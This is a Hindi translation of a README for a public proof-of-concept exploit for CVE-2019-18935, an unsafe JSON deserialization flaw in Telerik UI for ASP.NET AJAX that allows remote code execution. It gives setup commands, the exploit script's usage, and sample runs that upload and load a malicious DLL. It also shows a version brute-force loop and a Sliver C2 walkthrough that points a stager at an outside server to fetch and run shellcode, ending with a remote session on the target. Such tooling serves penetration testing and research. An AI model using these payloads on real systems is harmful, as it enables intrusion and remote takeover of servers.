
Telerik UI for ASP.NET AJAX में .NET JSON deserialization भेद्यता के लिए RCE एक्सप्लॉइट।
Telerik UI for ASP.NET AJAX में एक .NET JSON डिसीरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो रिमोट कोड निष्पादन की अनुमति देता है।
Telerik UI for ASP.NET AJAX वेब अनुप्रयोगों के लिए UI घटकों का एक व्यापक रूप से उपयोग किया जाने वाला सुइट है। यह JSON ऑब्जेक्ट्स को असुरक्षित रूप से डिसीरियलाइज़ करता है, जिसके परिणामस्वरूप सॉफ़्टवेयर के अंतर्निहित होस्ट पर मनमाना रिमोट कोड निष्पादन होता है। अधिक जानकारी के लिए, देखें:
build-dll.bat का उपयोग करके मिक्स्ड-मोड .NET असेंबली DLL पेलोड संकलित करने के लिए आपके पास Visual Studio और .NET Framework SDK इंस्टॉल होना आवश्यक है।
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
यह एक्सप्लॉइट RAU_crypto से एन्क्रिप्शन लॉजिक का उपयोग करता है। RAU_crypto.py के भीतर RAUCipher क्लास PyCryptodome पर निर्भर करती है, जो मृत PyCrypto मॉड्यूल का ड्रॉप-इन विकल्प है। PyCryptodome और PyCrypto एक ही वातावरण में इंस्टॉल होने पर समस्याएँ उत्पन्न करते हैं, इसलिए इस निर्भरता को पूरा करने का सर्वोत्तम तरीका मॉड्यूल को वर्चुअल वातावरण के भीतर इंस्टॉल करना है, जैसा ऊपर दिखाया गया है।
build-dll.bat की पंक्ति 17 को अपने Visual Studio इंस्टॉलेशन के पथ पर इंगित करें।
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
कुछ पेलोड (जैसे, reverse-shell.c और sliver-stager.c) के लिए आपको अपने C2 सर्वर की ओर इंगित करने हेतु HOST और PORT फ़ील्ड सेट करना आवश्यक है—ऐसा करना सुनिश्चित करें!
Visual Studio इंस्टॉल किए हुए Windows वातावरण में, डिसीरियलाइज़ेशन के दौरान पेलोड के रूप में उपयोग हेतु 32- और 64-बिट मिक्स्ड मोड असेंबली DLL उत्पन्न करने के लिए build-dll.bat का उपयोग करें। आप वैकल्पिक रूप से दूसरे CLI तर्क के रूप में लक्ष्य CPU आर्किटेक्चर निर्दिष्ट कर सकते हैं (जैसे, x86)।
build-dll.bat sleep.c
CVE-2019-18935.py को ऊपर उत्पन्न DLL पास करें, जो DLL को लक्ष्य सर्वर पर एक निर्देशिका में अपलोड करेगा (बशर्ते कि वेब सर्वर के पास उस निर्देशिका में लेखन अनुमतियाँ हों) और फिर असुरक्षित डिसीरियलाइज़ेशन एक्सप्लॉइट के माध्यम से उस DLL को अनुप्रयोग में लोड करेगा।
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
उपरोक्त उदाहरण में, अनुप्रयोग को प्रतिक्रिया देने में कम से कम 10 सेकंड लगे, जो दर्शाता है कि DLL पेलोड ने सफलतापूर्वक Sleep(10000) को कॉल किया।
जैसा कि DerpCon वार्ता .NET Roulette (39:46) में विस्तार से बताया गया है, हम फ़ाइल अपलोड करते समय केवल Telerik.Web.UI असेंबली का मुख्य (major) संस्करण (अर्थात, पूर्ण संस्करण स्ट्रिंग 2017.2.503.40 का 2017 भाग) निर्दिष्ट करके Telerik UI संस्करण को ब्रूट-फोर्स कर सकते हैं। यह तकनीक इस सॉफ़्टवेयर के प्रत्येक विशिष्ट रिलीज़ को ब्रूट-फोर्स करने की तुलना में खोज स्थान को काफी कम कर देती है—और, एक अतिरिक्त लाभ के रूप में, यह उन संस्करणों का भी पता लगा सकती है जो इस सॉफ़्टवेयर के रिलीज़ इतिहास में स्पष्ट रूप से सूचीबद्ध नहीं हैं। MSDN पर .NET असेंबली वर्ज़निंग के बारे में अधिक जानें।
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
कस्टम Sliver स्टेजर पेलोड sliver-stager.c, Metasploit के स्टेजिंग प्रोटोकॉल का पालन करते हुए, Sliver सर्वर (स्टेजिंग सर्वर) से Sliver शेलकोड (स्टेज) प्राप्त करता है और निष्पादित करता है। यह कैसे काम करता है इसके अधिक विवरण के लिए, पेलोड स्रोत में हेडर पढ़ें।
Sliver सर्वर प्रारंभ करें। सर्वर सेटअप पर अधिक जानकारी यहाँ।
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
Sliver सर्वर पर C2 एंडपॉइंट खोलें (हम यहाँ mTLS लिसनर का उपयोग कर रहे हैं, लेकिन आप HTTP या DNS का भी उपयोग कर सकते हैं), एक इम्प्लांट प्रोफ़ाइल बनाएँ, और उस प्रोफ़ाइल से जुड़ा एक स्टेजिंग लिसनर बनाएँ। स्टेज्ड पेलोड पर अधिक जानकारी यहाँ। ध्यान दें कि हम Sliver के दस्तावेज़ीकरण के सुझाव अनुसार generate stager का उपयोग करके Sliver स्टेजर उत्पन्न नहीं कर रहे हैं; हम इसके बजाय अपने कस्टम sliver-stager.c का उपयोग कर रहे हैं।
⚠️ चेतावनी: गलत CPU आर्किटेक्चर का स्टेज भेजने से लक्ष्य प्रक्रिया क्रैश हो जाएगी! उदाहरण के लिए, यदि लक्ष्य Telerik UI का 32-बिट संस्करण चला रहा है और स्टेजिंग सर्वर 32-बिट स्टेजर को 64-बिट स्टेज भेजता है, तो वेब सर्वर प्रक्रिया क्रैश हो जाएगी। निम्नलिखित उदाहरण में, हम 32-बिट शेलकोड उत्पन्न करते हैं—लेकिन आपको इसे new-profile कमांड के --arch फ्लैग का उपयोग करके अपने लक्ष्य के CPU आर्किटेक्चर से मेल खाना होगा।
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Sliver सर्वर की ओर इंगित करने के लिए Sliver स्टेजर स्रोत में होस्ट और पोर्ट सेट करें (नीचे एक उदाहरण सर्वर दिखाया गया है)।
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Sliver स्टेजर पेलोड संकलित करें, और पेलोड को लक्ष्य पर अपलोड करें तथा इसे अनुप्रयोग में लोड करें (सब कुछ इस README के पूर्ववर्ती उपयोग अनुभागों के अनुसार)।
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
यदि सब कुछ ठीक रहा (क्या आपने इस लक्ष्य का समस्या निवारण किया है?), तो आप अपनी Sliver सर्वर विंडो में एक सत्र निर्मित देखेंगे जिसका उपयोग आप लक्ष्य के साथ बातचीत करने के लिए कर सकते हैं।
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller क्लास समान असेंबली नाम (जो फ़ाइलनाम से भिन्न होता है) वाली कई .NET असेंबली लोड नहीं कर सकती। जब भी आप लक्ष्य को स्लीप कराना, कॉल बैक कराना आदि चाहते हैं, तो आपको एक नया पेलोड संकलित और अपलोड करना होगा।पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए इस टूल का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की ज़िम्मेदारी है। डेवलपर्स कोई दायित्व नहीं मानते हैं और इस प्रोग्राम के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।
@mwulftange ने प्रारंभ में इस भेद्यता की खोज की। @bao7uo ने RadAsyncUpload एन्क्रिप्शन को तोड़ने का संपूर्ण लॉजिक लिखा, जिसने rauPostData में फ़ाइल अपलोड कॉन्फ़िगरेशन ऑब्जेक्ट में हेरफेर करना और उसके बाद उस ऑब्जेक्ट के असुरक्षित डिसीरियलाइज़ेशन का शोषण करना संभव बनाया। @lesnuages ने Sliver स्टेजर पेलोड का पहला संस्करण लिखा।
यह परियोजना Apache License के अंतर्गत लाइसेंस प्राप्त है।